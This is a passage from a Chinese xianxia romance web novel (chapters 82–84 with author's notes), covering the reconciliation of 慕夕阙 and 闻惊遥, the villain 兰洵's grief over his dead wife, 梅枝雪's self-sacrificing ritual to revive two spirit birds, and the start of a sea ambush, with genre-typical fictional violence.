他感受到她的齿关咬在他的侧颈,修长的脖颈展露在她面前,比疼痛更明显的,是一阵流窜全身的快意,闻惊遥闷闷笑了几声,他弯腰让她咬得尽兴,淋漓的鲜血弄脏了衣领,他却分毫不在乎。 “夕阙,夕阙,不要生气。”闻惊遥埋在她的肩头,他隔着一层单薄的金衫,感知她的体温和体香,像是寻求抚摸般贴近她的耳廓。 “不要生我的气,我好喜欢你,我真的好喜欢你。” 慕夕阙忽然松了齿关,唇齿间是他的血,这股血气反而像是寒冰般平息了她无名的火气,她抬手,隔着衣裳触碰到他肩头的刀疤,是她留下的。 她的额头抵在他的肩头,闭上眼,抖着声音咬牙切齿骂道:“我恨死你了,我真的恨死你了……” 好像全身的力气都泄了,她哽咽道:“我好累,我真的好累……你个混蛋,闻惊遥,你个混蛋。” 再没有比他更混账的人了。 闻惊遥侧过头,他这会儿能看清她的模样了,这张脸比记忆里的慕夕阙圆润许多,过去的她孱弱瘦削到骇人的地步,如今的慕二小姐脸颊有些肉,走路也稳健,出剑的力道重且稳。 “我混账,夕阙,我是个混账,你就恨着我。” 他捧住她的脸,偏头去吻她的唇。 慕夕阙没有咬他。 他顺利撬开她的齿关,将他们的津液交融在一起,吞咽她的一切,吮吸她的舌,在她的口腔中扫荡,品尝到自己的血液。 往日的慕夕阙恨不得将他咬死,每次都得鲜血淋漓。 如今她闭上眼,被他抵在桌前,宽大的金袖从臂弯滑落,皙白的手臂绕过他的脖颈,任他在她唇中攻池掠城。 闻少主疯得全无理智了,他亲了小一刻钟,将人压在桌上亲。 直到慕夕阙用力推了他的肩膀,她别过头,声音略喘:“滚开。” 闻惊遥安静了片刻,并未固执,他轻轻啄啄她的耳根,很听她的话,乖巧站了起来,慕夕阙也起身拢了拢凌乱的衣裳,别头不看他。 慕二小姐亲完就走,分外不留情面,重重甩上房门。 闻惊遥独身站在屋内,脖颈上的咬痕还在渗血,他抬手轻轻触碰,指腹沾染了鲜血,他受过许多次伤,唯有她留在他身上的伤痕是独一无二、珍贵无双的。 这怎么会是伤呢? 这是慕二小姐的赠礼- 梅枝雪站在一座石堆前。 听到身后的脚步声,梅枝雪头也不回,淡声道:“他也醒了?” “嗯。”慕夕阙声音冷淡。 梅枝雪侧眸看她一眼,瞧见她唇角的破口,慕夕阙的头发方才还是马尾,现在已经放下来了,青丝遮住脖颈。 梅枝雪也不是什么都不懂,她别过头并未多问,低头摆上贡品,插上香火。 “他人挺不错的。”梅枝雪道,“你也挺好的,两个志同道合的人走不散的。” 慕夕阙没说话,她看着面前的石堆,问道:“比翼鸟的尸身在这里?” “嗯。”梅枝雪轻声回答。 “您拿到两只心脏了,接下来要做什么?”慕夕阙顿了顿,又道,“前辈,您没必要那般做。” 梅枝雪仰头,望着这高耸的石堆,她守了这么多年的地方,在外冷淡如霜的人,唯有在这时,看见这石堆才有几分柔意。 “这些神灵集结天地灵气诞生,护佑一方地域,在灾厄时期这片大陆人口不多,因此每人都会有一块玉符,这些山灵会在玉里留下灵气替他们抵御一些灾难,因此百姓叫它们玉灵。” “后来,灾厄结束,盛世泱泱,人烟阜盛,山灵无法在每一块玉符里留下灵力,可百姓们仍旧叫它们玉灵,或许,也叫域灵吧。” 慕夕阙沉默,在梅枝雪不再说话后,她说道:“我们马上会回十三州,您想清楚了,到底要不要那般做,无人复生过玉灵,它们死去太久了,或许搭上所有也只落得个空。” 梅枝雪笑了下,抬手轻碰石堆:“我意已决,没关系的。” 慕夕阙便不再劝,转而问道:“前辈可有办法能阻止一个人的修为进境?”* 梅枝雪侧首看她:“你要去害谁?” 不等慕夕阙回答,她又自顾自说:“你不是会使这种阴毒伎俩的人,为何要这般做?” 慕夕阙并未回答,只看着她追问:“前辈有无办法?” “如果寻常的修士,从此懒惰不再修行便可,但如果是你和闻惊遥,那很抱歉,没有办法。”梅枝雪收回手,神情平静,“你们是十二辰和天罡篆之主,镇压祭墟需要你们,因此神器之主必须勤加修行,否则你们手握神器,也发挥不出它的效力。” “没有办法吗?” “没有办法。” 慕夕阙并不意外她的回答,垂眸应道:“嗯,我知道了,多谢前辈。” 她不再说话,转身离开。 从后山往前院走的路上,她远远看到了夜迢朝梅枝雪走去,慕夕阙并未停顿,当做没看见,与夜迢擦肩而过。 沿着这条林径小路往前院走,走了没多远,她便瞧见颀长的身影等在路的尽头。 慕夕阙只当没看见,漠然从他身边经过,身后的人似乎顿了下,转而跟上前,走过来牵住她的手。 “放开。”慕夕阙冷声道。 闻惊遥却撑开她的手掌,与她十指相扣:“夕阙,不要生气。” 慕夕阙被他气到,反而有些想笑。 总说让她不要生气,却总爱一边道歉一边亲她,死活不肯撒手,闻少主的道歉也就是嘴上说说,这人讲理的时候十分理智,耍赖的时候又俨然是个犟种。 慕夕阙问道:“怎么了,你觉得我现在不会打你是吧?” 闻惊遥薄唇微抿,他俯身凑到她面前,握住她的掌心贴在自己的脸侧:“你打我,我不生气的。” “有病。”慕夕阙甩开他,大步朝前走。 闻惊遥又跟上来,他垂眸看着始终快他一步的慕夕阙,能看出她心里不快,慕二小姐无论前世今生,闹脾气的时候都不好哄。 但慕二小姐以前拿刀子捅他,今天没打他,还有哄的余地。 闻惊遥追着慕夕阙一直走到前院,她推开偏屋的门进去,他刚想跟着一起,两扇大门轰的一声在他面前关上,险些砸到闻少主高挺的鼻梁。 慕夕阙坐在屋内,刚倒了一壶茶,听到窗户推开的声音,她抬眸看去,青衫少年身子矫健,撑着窗台从外翻了进来。 这次慕夕阙是真的被气笑了,她放下茶盏重重搁在桌上:“你现在脸皮见长啊,翻窗在你们闻家要打几板子?” “无令闯入他人住处,要抄二十遍家规,不打板子。”闻惊遥老老实实回答,朝她走过来,单手扣住她的腰将她提了起来,让人坐在桌上。 慕夕阙皱眉:“滚。” 闻惊遥垂眸,问她:“在想什么?” 慕夕阙冷笑一声:“在想给你买什么棺材,毕竟一家少主,总得办个后事吧?” 闻惊遥温声道:“不用的,我死后你就把我给忘了,夕阙,你还有很远的路要走,还会遇到许多人,我不是最好的。” 慕夕阙冷眼看着他:“那你不用操心,你死的第二日我就把你忘得干干净净,什么闻家少主,不过就是一个没规没矩、惹我生气的人罢了。” 闻惊遥抬手拂开她凌乱的发,指腹在她的眼尾轻轻摩挲,他的目光流连在她的脸上,像是要记住这张脸,可其实她的一眉一眼,一颦一笑早已刻入神魂。 他忽然将额头抵在她的肩头,搂住她的腰,小声说:“夕阙,那些年累不累?” 慕夕阙闭上眼,呼吸抖了几分。 “我很想你,每一日都在想你。” 闻惊遥抱紧她,两人陌路的那百年里,他能抱到她的次数屈指可数,因此就连他们动刀打架,那片刻时光于他而言,都视如珍宝。 “那你呢,夕阙,有没有想过我?” 慕夕阙咬牙道:“想过,我当然想过,我恨不得杀了你。” “那就好。”闻惊遥将她往怀里按了按,声音很轻,“恨可以支撑你走下去,爱可以让我走下去。” 她恨着他的那百年里,他却翻来覆去,昼夜难眠地想着她。 消失的这几年里,她会去哪里呢,她什么时候会再出现? 再次见面的时候,慕夕阙会是什么样子呢,这些年会不会好好吃饭,不能再瘦了吧? “夕阙。” 闻惊遥放开她,看着她微红的眼睛,他轻轻亲吻她的眼眸。 “不要难过,也不要生气,你笑起来很好看。” 慕夕阙忽然低下头,她抵着他的锁骨,看到自己的眼泪滴落在青砖上,闻着他身上略显苦涩的气息,心尖都在泛苦。 “混蛋,闻惊遥,我真是恨死你了……” 恨过是真的。 爱过也是真的。 作者有话说:年少时候小慕是真的喜欢过小闻的,如果没有发生那些事,他们最后肯定是会在一起的,傲娇就需要一个赶不走的恋爱脑~ 要走终极团战的剧情啦,小闻不会死的,我们是HE! 今天更新晚了,发个红包~ 第83章 第 83 章 逃走 一座小院外围了上百人, 木头围成的栅栏并不高,可这些人却都背对院里,并不敢往里看。 见这些人怂得不成样子, 纪挽春咬咬牙,垂首推门进入院内。 “主子, 医仙已替燕少主接上灵根, 慕二小姐和闻少主在梅枝雪那里,两人……”纪挽春跪在地上,咬牙道, “没死,他们被鲲救了。” 兰洵方醒来,灵力耗尽后带来的损伤便是渡劫修士也得耗些时间缓和, 他坐在院内, 抬眸看过去:“两只玉灵也没死, 两个神器之主也还活着?” 纪挽春抖若筛糠:“是。” 此番他们前来, 便是因着兰洵忽然要杀海外仙岛这两只玉灵, 谁料慕夕阙和闻惊遥也来了,那就干脆一并除掉。 燕如珩已经接上了灵根,除掉闻惊遥, 天罡篆会认燕少主为主。 再除掉慕夕阙,让十二辰认那位慕家大小姐为主, 计划完美, 谁料慕夕阙和闻惊遥竟有胆到这种地步,敢不拿神器孤身来拖延时机, 两个神器无主操控竟能抵御渡劫修士凝出的杀招。 兰洵现在极其生气,纪挽春跪在地上,不敢抬头, 连呼吸都得放轻。 一道罡风袭来,纪挽春来不及躲避,被一击甩出,撞碎了篱笆,重砸在院外的石墙上。 他呕出一口血,低头咳嗽,余光中看到院里的兰洵站了起来。 那张兽脸面具仍戴在脸上,兰洵大步走出院内,外头的人忙垂首肃立。 “废物。” 兰洵丢下一句话,已瞬移离开,无人知晓他到底要去何处,也无人敢问。 纪挽春艰难站起身,一旁的鹤阶长老上前搀扶,低声道:“我就说,趁他昏迷的时候……我觉得他迟早要对咱们卸磨杀驴。” 纪挽春狠狠瞪他一眼:“这话日后别再说了,小心脑袋怎么掉的都不知道。” 鹤阶长老噤声,两人望向兰洵消失的方向,纪挽春低声喃喃:“本是要对付慕、闻两家,他到底为何忽然来海外仙岛?” 他好像急欲做什么事。 千里之外,兰洵已悬浮在海域上。 纵使修为只恢复二成,他仍能做到一瞬千里,垂眸看着下方的海域,这片海早已褪去了惊涛骇浪,色彩浓到泛黑的海水也已恢复成云蓝,鱼虾成群,海兽也消失不见。 两座山虽然崩裂,可并非玉灵主动抛弃仙岛,因此这两只玉灵仍在海外仙岛,一只在海底深渊,一只在万丈高空翱翔,以他如今重伤没办法再杀害这两只玉灵。 兰洵嗤笑一声,从虚空跃下,冲入海域内,这片海有千丈深,寻常修士难以抵达最深处,可兰洵可以。 深海无光,他落地后抬手祭出颗照明珠,荧荧光亮为他照明前方,在这片海的最底部,一只鱼虾都见不到,便是那些海兽也无法下潜到这般深的地方。 兰洵越往前走,渐渐地,远处浮现些微弱的光亮,随着他愈发靠近,光亮愈甚,直到能瞧清那一片地带。 一口冰棺悬立,周围二十根天柱镶了二十颗明珠,照亮周围的一切。 兰洵来到棺旁,隔空去看里头的“人”,一只祟种死后被挫骨,只剩一滩灰烬,连魂魄都找不回来一缕,这棺内放的只是两套衣裳,一大一小,皆都染血。 她如果没有变成祟种,这身小衣裳再有几月便会穿在一个孩子身上,那是兰洵和她的孩子。 一个根骨有损的筑基修士,和一个血脉强盛的大乘修士,两方差距太大,他们此生应膝下荒凉,两人连孩子都领养回家,兰洵也未想到,有一日她竟会有孕。 她自戕前求过那些人,求他们放她生下这个孩子。 可一个身染秽毒的人生下的孩子,也会有秽毒。 于是在兰洵与那只大乘境祟种在不渊海殊死搏斗的时候,那些他保护的修士用极其怜悯的神情,却坚定地堵着一个瘦弱的女子。 “陈夫人,您的孩子也无法健康长大的,以您的身子,秽毒应早侵入丹田,怕是再有两月便会化祟。” 她是自刎而死的,血溅了满屋,染脏她的衣裳,连带着搁置在一旁箩筐里未做完的小衣裳也沾了血。 那些人假惺惺地收拾好她的尸身,等待兰洵从不渊海归来,他们跪倒在地,哭着说:“兰前辈,节哀。” 他们以为兰洵这般洒脱恣意的人,会明白夫人的用意,会理解这些修士的无可奈何,会为了十三州和海外仙岛的安稳咽下满腔的血。 可兰洵在那一刻,便已经疯了。 兰洵自幼孤苦一人,靠自己拼来了一切,有朝一日他救下一个弱小的女子,那女子却敢用孱弱身躯在他除祟时挡在他身前,这世上他保护的人有许多,却只有这一个人保护了他。 于是发疯的他杀了满院的人,紧接着,他去杀了一只玉灵,剖开妻子的胸膛,将玉灵的心脏换进去,可生万物的神灵之心为她带来了生机,但无法清除早已入丹田的秽毒,于是他唤醒了一只祟种。 有玉灵之力的祟种,诞生便有大乘境的实力,一只没有神智的祟种,却只听兰洵的话。 兰洵将侧脸贴在冰棺上,好似里头不是两件衣裳,是两个人一般。 “夫人,你再等等。” 兰洵闭上眼,整片大陆最安宁的地方,便是这深海底部,无人可以到来,无人能再伤害她。 而竖立在冰棺周围的二十根天柱,其上镶嵌的明珠—— 那怎么会是明珠呢? 那是一颗颗琉璃心脏,晶莹剔透,圣洁的气息足以驱散这海底的黑暗,带来光明。 那是二十只山灵的心脏- 慕夕阙坐在屋内,双手环胸,冷眼看着对面的闻惊遥。 闻惊遥垂眸,长睫半垂,遮住清亮的眸底。 “兰洵那百年里都没再出现?”慕夕阙冷声问。 闻惊遥颔首:“嗯,并未再出现。” 慕夕阙点点头:“他暂时出现只是招呼鹤阶除去慕、闻两家,毕竟你我手持十二辰和天罡篆,两家倒台后他消失不见,应该与万年前一样,消失的这段时间他在做别的事情。” 闻惊遥没说话,不用他插嘴,慕夕阙自己也能想清楚。 “玄武说他躲避天谴是靠夺取玉灵周身的福泽,山灵数不清,成为玉灵的只有一百多只,或许失踪的那些年,他在搜罗那些山灵的踪迹,杀灵取心。” 慕夕阙顿了片刻,眸色渐深:“他的夫人已经被挫骨,魂飞魄散,绝无复生可能,除非他拿到十二辰和天罡篆,就如同你那时候的做法,切断地脉,让十二辰开启回溯,回到某个时间节点,可他没有这般做。” 闻惊遥道:“他应当不知道十二辰和天罡篆合力,可以回溯时间,玄武没有告诉他。” 慕夕阙眼眸微眯:“玄武说他要戮神,我并不觉得他的目的在此,便是百个渡劫修士也不可能戮了造世的神明,而玉灵都死后,这片大陆的福泽消失,神会摧毁这个失去福泽的世界……他到底要做什么?” 她始终想不明白,一个尚未飞升的人敢去戮神,无异于以卵击石,绝无可能性,兰洵不会不知道。 轩窗开着,夜风略有些冷,闻惊遥掩唇咳嗽几声,微弱的声音打断了慕夕阙的沉思,她皱眉看过去,抬手挥出灵力关上轩窗。 “身子虚就出去,回你的屋子。”慕夕阙说话仍旧不好听。 闻惊遥薄唇苍白,抬眸看着她道:“不虚的。” 慕夕阙眉心拧得更紧了,她时常觉得闻惊遥的思想异于常人,在此刻竟看不出来他是在逗她,还是在认真解释。 “随你,我要休息了。” 慕夕阙起身便要离开。 路过闻惊遥之时,他抬手攥住她的手腕,两人一站一坐,他仰头看她:“夕阙,当初缔结婚契是为了用十二辰加强天罡篆,好去劈了鹤阶的山,如今事情已做完,你可以与我解开婚契的。” 慕夕阙垂眸看他。 闻惊遥道:“我时日无多,命悬一线,不知何时天神便会注意到我,你日后会遇到更好的人——” “闻惊遥。”慕夕阙眸色冷淡,面无表情,“你不觉得自己很别扭吗,对我又亲又抱耍赖的是你,如今要与我解开婚契放我离开的也是你。” 闻惊遥薄唇微抿,迎着她的目光,他轻声道:“是,我自相矛盾,我控制不住想要亲近你,可冷静下来后,又担心我会耽误你。” “自作多情。”慕夕阙挣开他的手,“我不可能会记一个死人多久的,你死了后,我最多记你一年,又怎会在你身上耗着?” 闻惊遥安静下来,并未再开口,屋内的烛火打在他脸上,一张脸并无血色。 慕夕阙站着未动,她看着这样的闻惊遥,无端觉得心里憋着一股莫名的火气,她垂眸取出袖中的玉簪,扔在闻惊遥身上。 那是根还未雕刻完的玉簪,赤红的玉不同于寻常的白玉或青玉,这等艳丽的颜色更衬慕二小姐。 “我的生辰是四个月后,把它给我雕完。” 慕夕阙转身往外走,没走几步,身后脚步声传来,有人从后面搂住她的腰。 闻惊遥个子高,很早的时候就比慕二小姐高一头了,过去慕夕阙时常会打趣他,一年只见三次,他到底吃什么长大的,怎么次次来的时候都比上一次高了些? 他垂首,将下颌枕在她的肩头,闭上眼睛低声道:“夕阙,你是这世上最好的人了,无论何人在你身旁都是高攀,包括我。” 慕夕阙被他锁在怀里,这些时日他的伤太重了,一身清淡的雪竹香早就被苦涩药香遮盖,她觉得自己像是被一团草药抱着,周身都是清苦的气息。 “我规规矩矩、坦荡磊落地为闻家、为十三州活了这么多年,唯独在你身上,我有了些卑劣,你别生气,我时日不多,你既然不走,那就是给我机会了,我不会再问那些话了,会一直抓紧你的。” 闻惊遥说话很轻,他刚定魂,能站起来都已是根骨强盛,难掩虚弱。 耳根有似有若无的啄吻,濡湿了慕夕阙的耳廓,在她沉默的时候,闻惊遥低声道:“可能只有几年,可能几个月,每一日我都会珍惜的,我一定听你的话,你想怎么对我都可以。” 慕夕阙闭上眼,她看似冷静,可或许也只有自己知道,她平稳的呼吸乱了几分,垂下的手指尖蜷起,一切异样都是她这颗心的折射。 “夕阙,我们回去就办婚宴吧?”闻惊遥低声道,“你不喜人多,我们便一切从简,我有好多想赠你的东西,从意识到自己的心意时,便盼着有朝一日能娶到你,你什么都没要,便与我结了这个婚契,如此薄待,我愧对于你。” 慕夕阙挣开了他,她退后几步转身看他,她无端觉得,闻惊遥似乎瘦了些,轮廓更加锐利清晰,明明清姿依旧,可就是让她觉得,他瘦了些。 闻惊遥看着她,并未追问,也并未再缠她,他的目光始终安静专注。 慕夕阙冷声道:“把那根簪子给我雕完。” 她转身离开,两扇门关上,隔绝了闻惊遥的视线。 闻惊遥垂眸,看着掌心中赤红的玉簪,他雕的是两朵挨着的桃花,他观察过慕夕阙的簪子,簪饰多是些桃花、楹花、凤羽的纹路。 他抬手轻碰那根玉簪,修长的手自簪身上轻抚而过,好似已经能看到这根玉簪戴在她发髻上,慕二小姐最适合赤红和鎏金的衣裳首饰,这玉簪也一定衬她。 闻惊遥眸光柔和,唇角微弯。 慕二小姐没有拒绝他办婚宴的请求,也没有与他解开婚契。 慕夕阙出去没多久便见到了越疏棠,她执剑站在一棵树下,似乎在等她。 “慕二小姐。”越疏棠朝她颔首。 慕夕阙走过去:“怎么了?” 越疏棠道:“你们何时动身回十三州?” “明日,我觉得十三州怕是不安稳。” 越疏棠垂眸,抿了抿唇,说道:“我怕是无法和你们回去,海外仙岛经此大难,急需人手,我得留下帮忙。” 慕夕阙直接道:“你想托我去查你父亲的事,是吗?” 越疏棠颔首:“是,我父亲三十年前去了十三州便再也未回来,此番我去十三州也是调查此事,可毫无线索。” “三十年前十三州并无大事发生。”慕夕阙道,“我会尽力帮你查查。” 如今夜也深了,她说完便绕过越疏棠,走了没几步,听到身后有人唤她。 “慕二小姐。” 慕夕阙停下,却并未回头。 越疏棠看着她的背影,低声道:“多谢你帮我们,日后你有事需要我,我定赴汤蹈火,以及——” 她似乎有些难以启齿,一句话在嘴里囫囵滚了几遍,怎么都说不出口。 慕夕阙回眸看她。 越疏棠仿佛豁出去了,一口气道:“我觉得你人非常好是我见过最好的人那以后我们可以做朋友吗?” 她能一口气说这么长的话,慕夕阙倒是笑了。 越疏棠素来直来直往,如此扭捏倒是少见,慕夕阙上辈子也没见过她这幅模样。 慕夕阙扬首,指了指越疏棠的腰间:“我的玉符只送自己的朋友。” 她转身离开,越疏棠孤身站在树下,垂眸看着自己腰间还没解下的慕家玉符。 本来是想还给她的,但好像慕夕阙并不打算收回,她将这玉符赠了出去。 慕夕阙从一开始就当她是朋友- 东浔闻家主宅,夜深已熄灯就寝,只余巡逻的弟子来往走动。 被捆缚的任风煦毫无动静,垂着脑袋好似沉眠。 徐无咎侧首捏了捏眉心,从外窜进来一人,眼前一花,师盈虚便将一张图搁在了他面前。 徐无咎垂眸看过去,眉头紧皱:“这什么,辟邪符吗?” 师盈虚一拍桌子:“这是本小姐画的暗器!你吃了我一颗还魂丹,说了给我打一副暗器的!” 徐无咎抬眸看她,将纸张推了回去:“这东西太大,不适合当暗器,我替你选了,已经打好了。” 师盈虚眼眸微眯:“你不会是想偷工减料,选个简单好做的敷衍我吧?” “是,敷衍你。”徐无咎有气无力说话,却将乾坤袋内的一副暗器拿了出来,“袖箭,打了禁制的,可在万里外瞄准,近身作战可伸长为两柄短刀。” 师盈虚眉头一挑,喜滋滋拿起来,忽然对准徐无咎:“这么厉害,本小姐命你也给夕阙打一副,她会用短刀。” 徐无咎白她一眼:“慕二小姐的实力用不到暗器。” 师盈虚想了想,听出他话里的阴阳,一把将暗器拍在桌上:“你怎么说话呢,阴阳怪气——” 话还没说完,徐无咎忽然抬眸,动作迅捷将师盈虚拽过来,两人摔倒在地,来不及叫痛,徐无咎一掌将师盈虚推出,而他自己也旋身站起。 两人方才躺着的地方,一柄长刀劈来。 师盈虚站定,骇然看过去:“无渊锁不是捆着任前辈吗!” “不知什么时候挣开的!” 徐无咎弯腰躲开迎面砍来的长刀,急速朝师盈虚冲去,拽住她跳出房门,而屋内的禁制早已感知到任风煦的躁动,杀阵已启动。 闻家弟子匆匆赶来,庄漪禾也闻讯奔来。 一群人望着冲天的光柱和罡罩,神色骇然。 片刻后,冲天的威压爆发,庄漪禾道:“趴下!” 刀影从前方砍来,擦着弟子们的身躯而过,杀阵破裂,那只被困住的祟种速度极快,跃出房门。 像是被什么召唤一般,目的明确,跳上高楼转眼间消失不见。 庄漪禾站起身,咬紧牙关:“任前辈跑了,有人在唤他。” 作者有话说:来晚了来晚了,在捋最后一个副本的大纲,进行最后一段大剧情啦。 放心!感情线是不会虐了,俩人现在就是一个嘴硬心软的傲娇和一个黏人的恋爱脑,马上就当真道侣! 过几天会开个番外点梗楼,大家想看什么在那时候留评就好,番外会甜甜的~ 第84章 第 84 章 “夕阙,我不会背叛你的…… 天方亮, 慕夕阙便接到了朝蕴的传信。 “小夕,任前辈逃出去了,昨夜得知的消息。” 慕夕阙垂下眼睫, 并未有慌张:“无渊锁呢?” “断了。”朝蕴道,“任前辈忽然灵力大涨挣开的, 他似乎被催化了, 速度太快,两家派出的弟子都未寻到,但目前尚未听说有人被祟种杀害, 他并未沿路屠杀。” 朝蕴停顿一下,又道:“惦记着你们的安危,灵舟刚被那掌舵老者修缮好, 你师兄立即带人去了海外仙岛接应, 我估摸着也快到了, 既然已解困, 你们碰面后一起回来吧。” “嗯, 别担心。”慕夕阙简单安抚,并未多言便切断了玉符。 她看向紧闭的门:“进来。” 外头的人安静了片刻,推门进入, 抬眸看过来。 慕夕阙刚盥洗过,还未挽发, 闻惊遥走过来, 捋起她柔顺的发,她干脆也不动了, 坐着等他梳发。 近些时日慕夕阙没扎过发髻,满头青丝束成马尾,身上也并未佩戴簪饰, 闻惊遥扎的最熟练的便是马尾。 替她挽好发,闻惊遥垂眸看她,慕夕阙刚转过头,青衫少年俯身,一手捧住她的脸,覆上她的唇。 慕夕阙眉心微蹙,身子后仰几分,他又追上来,轻轻啄吻她的唇,并未深入。 双唇分开,两人鼻尖相抵,一站一坐,闻惊遥抬手将她的碎发别到耳后,露出一张未施粉黛的脸,他覆上前,亲吻她的眉眼。 慕夕阙别过脸,语气听着不耐烦:“一点规矩都没。” 这人果然是变了,没订婚前两人走在一起,中间还能再插个人,现在恨不得黏在她身上,脸皮比以前厚了不止一点。 闻惊遥俯身抱住她:“夕阙,我好喜欢你。” 慕夕阙推他:“起开。” 闻惊遥没犟,起身站直,与慕夕阙一同出门,竹楼前已经站满了人。 越疏棠和迟笙并肩,宋云霁和宋云岫也站在一侧,而梅枝雪并未在院里。 慕夕阙仰头,梅枝雪站在竹楼顶端,扔下一个乾坤袋:“赠你的东西。” 乾坤袋里装了一部分她这些年炼制的灵丹,解毒、化瘀、接骨、生肉…… 医仙的一瓶丹药便能在十三州和海外仙岛卖上几万金,有价无市,这些东西极其贵重,梅枝雪脾气古怪,能主动赠礼便已是极大的善意。 慕夕阙拱手行礼:“多谢医仙。” 梅枝雪并未说话,安静看着他们。 越疏棠拱手道:“我们便不随你们回十三州了,慕二小姐,望有朝一日还能再见。” “会的。”慕夕阙颔首。 越疏棠、迟笙、宋云霁和宋云岫都得回岛,此番回十三州的人只有慕夕阙、闻惊遥,以及阿宥和他的母亲。 阿宥已经驾驶灵舟等在岸边,慕夕阙离开梅枝雪住处之时,回头看了一眼。 梅枝雪仍站在高处,原先淡去不少的瘴雾愈发浓重,逐渐遮住了那栋竹楼,也掩去了她的身影。 慕夕阙收回目光,并未再回头看。 这座岛又再次回归寂静,梅枝雪跃下竹楼,往后山石堆走去,她换下昨日的供品,放上了新摘的果子,这次摆了一整盘,插上香火。 身后有人走来,梅枝雪并未回头。 夜迢牵出笑,温声道:“阿雪,我不回影杀了,陪你在这里可好?” 梅枝雪看着高耸的石堆,并未回答他的问题,而是冷不丁道:“我们梅家村全村才百来人,却有两只玉灵庇佑,它们栖息在那座小山中,替我们抵御天灾,即使自己会虚弱,也从未想过离开。” 夜迢唇角的笑淡去:“你不是说要复活它们吗,如今拿了心脏,我们再等等便好。” “复活了比翼鸟,那我的族人呢?”梅枝雪淡声问。 夜迢沉默,足足有一刻钟,末了他开口道:“对不起。” “你当然对不起我。”梅枝雪忽然笑了,声音极轻,“所以夜迢,从你踏足这座岛屿的时候,便不用再想着出去了。” 夜迢愣了一瞬:“……阿雪?” 滔天光柱从四周升起,夜迢怔愕看去,十几根天柱绕了一圈拔地而起,将他和梅枝雪、包括这座埋葬了比翼鸟的陵墓包围在内,虚空上一方镌刻有古语经文的圆形结界浮现,四周罡风鼓动两人的衣裳猎猎作响。 夜迢感知到了有强大的力量在撕扯他的神魂,汲取他的灵力。 他愕然看去,梅枝雪站在墓前,今日她并未穿一身玄色纱衣,而是换上了过去爱穿的云蓝,及腰的青丝连带着满身纱衣飘舞,她背对着他。 夜迢忽然上前扯住她的手:“跟我走!” 他们刚结了婚契,他们还有百年千年要过,又怎么能死在这里? 梅枝雪却动也不动,一把拂开他的手:“你凭什么走!它们在这里,你凭什么走!” 她疯了般指着那堆石头:“你走不了!聚灵阵聚集的灵力根本不够它们复生,但加上你我,两位大乘境修士,它们一定能活过来!” 阵法撕扯神魂,夜迢剧痛难忍,却仍试图上前抓她离开:“阿雪,我们再想办法复生——” 一柄利刃捅进他的心口,夜迢呕出一口血,梅枝雪也同样吐出深红的血,她双手握刃,将匕首旋转捅得更深。 夜迢抬眸看她,眸底赤红,如此近的距离,他看到她眼底彻骨的恨,已经全无过去的半分柔情,这些年他一直在找她,仍厚着脸皮想,她这么容易心软的人,会不会还有一分的旧情? 可梅枝雪一边吐血,却又拔出利刃,再次扎入他的胸口,握紧刀柄旋转捅入。 “你这只会使阴毒伎俩的小人,我这识人不清的罪人,就该给它们偿命。” “你知道我给你下毒了,是吧?” 夜迢忽然就不动了,他咧嘴笑起来,血染红了霜白的齿,聚灵阵在疯狂撕扯他们的神魂,汲取两位大乘境修士的灵力反哺给那两只玉灵的尸身。 夜迢抬手擦去她脸上的血,两人已无力站起,摔在地上。 “是慕夕阙告诉你的,让你提防着我,是吗?” 梅枝雪在疯狂吐血,汩汩鲜血自喉口涌出,医仙怎么会不知道这是她的神魂在被撕裂? 夜迢喘着气,侧首艰难看着她:“我就说……你怎么会这般轻易妥协呢?” 从他踏足这座岛的时候,梅枝雪便不会放他离开了。 夜迢的心脉已被她切断,模糊的视线中,他看到梅枝雪撑着单薄的身子爬开,她爬向那座石堆,夜迢想要伸手留住她,可他抬不起无力的手,只能看她越爬越远。 她连死都不愿意挨着他。 “阿雪……阿雪……” 身后的人已经断了气,梅枝雪撑着最后一口气,终于爬到了石堆旁。 她拥抱那堆冷硬的石头,好似隔空抱住了里头死去多年的比翼鸟,好似触碰到了自己的族人,她罪孽深重,无法偿还,连这条命也无法抵消她的罪。 梅枝雪闭上眼。 “回来吧……回来吧……” 孤岛坐落在宽阔的海域中,与往日的寂静不同,今日的山巅上拔地升起一道道光柱,滔天的灵压反哺给这座岛屿。 虚空中逐渐远离的灵舟上,慕夕阙和闻惊遥并肩而立,安静看着那座岛。 慕夕阙低头,打开了梅枝雪赠给她的乾坤袋。 不仅有灵丹,还有梅家村人万年来的心血,这些可救百万人的医书古籍。 无人复生过玉灵,甚至梅枝雪牺牲一切最后也可能落得一场空,慕夕阙曾经想要劝她,因此她留下了那封信,告知梅枝雪提防燕如珩和夜迢,告知她有种可以剥夺记忆的毒。 可梅枝雪看了她留下的信,却仍未改变自己最初的决定,她将两只心脏还给比翼鸟,将自己和夜迢的神魂乃至全* 部的灵力供给给这座岛,盼着天神能将两只比翼鸟再次还回来。 灵舟远离孤岛,直到看不见影子。 阿宥在掌舵,说道:“慕二小姐,闻少主,你们回船舱吧,风大!” “不必,还请小公子打开禁制,让灵舟降落在海面。” 慕夕阙和闻惊遥却站在甲板上,并未挪动,看着远处的天际。 阿宥诧异,却还是照做,将灵舟降落在海面上,操作完后,他回头看去。 一道剑光从远处劈斩过来,他的瞳仁瞪大,一条缚绫如游龙般伸来,卷住阿宥的腰身将他甩进船舱内。 “别出来!” 阿宥的母亲走过来,将孩子抱进怀里,母子两个坐在船舱内,透过半开的窗看出去,远处浮出百道身影。 母亲低声道:“果然,如今只有这一艘灵舟可以穿过祭墟,他们还是来拦了。” 灵舟悬浮在海面,慕夕阙仰头望向远处,十几艘渔船从远海驶来,载着一些不属于海外仙岛的修士,对面有将近两百人,而他们只有两人。 纪挽春站至最前,负手而立:“二小姐,闻少主,这就要走了?” 慕夕阙眸光沉静,淡然看着他。 纪挽春嗤笑一声:“怕是走不了吧。” 他拔刀冲上,身后紧随上百道黑影,如流影般朝他们砍来,闻惊遥和慕夕阙两人身影一晃,在中途将人截停。 纪挽春的刀和慕夕阙的剑砍在一起,他勾唇一笑:“二小姐这力道不足啊。” 执剑看似有力,实则远远不如过去那般凶,反而透着虚浮,十二辰的反噬让她虚弱,持续的打斗留给她的伤也还未好全。 慕夕阙一言不发,单手下压,将纪挽春一击砸出百丈远,而她也踩着一旁的修士跃出,再次攻上前。 闻惊遥对上另外的长老,两人的身边皆都围了百人,剑光刀影混着炸开的海水,声势浩荡。 一艘安静悬浮于海面上的渔船内,燕如珩已褪去披风,坐在窗边遥遥看着远处的战局,如今的慕夕阙不遮不掩,将自己学的那一手古怪杀招都用了出来,这完全不是慕家的术法。 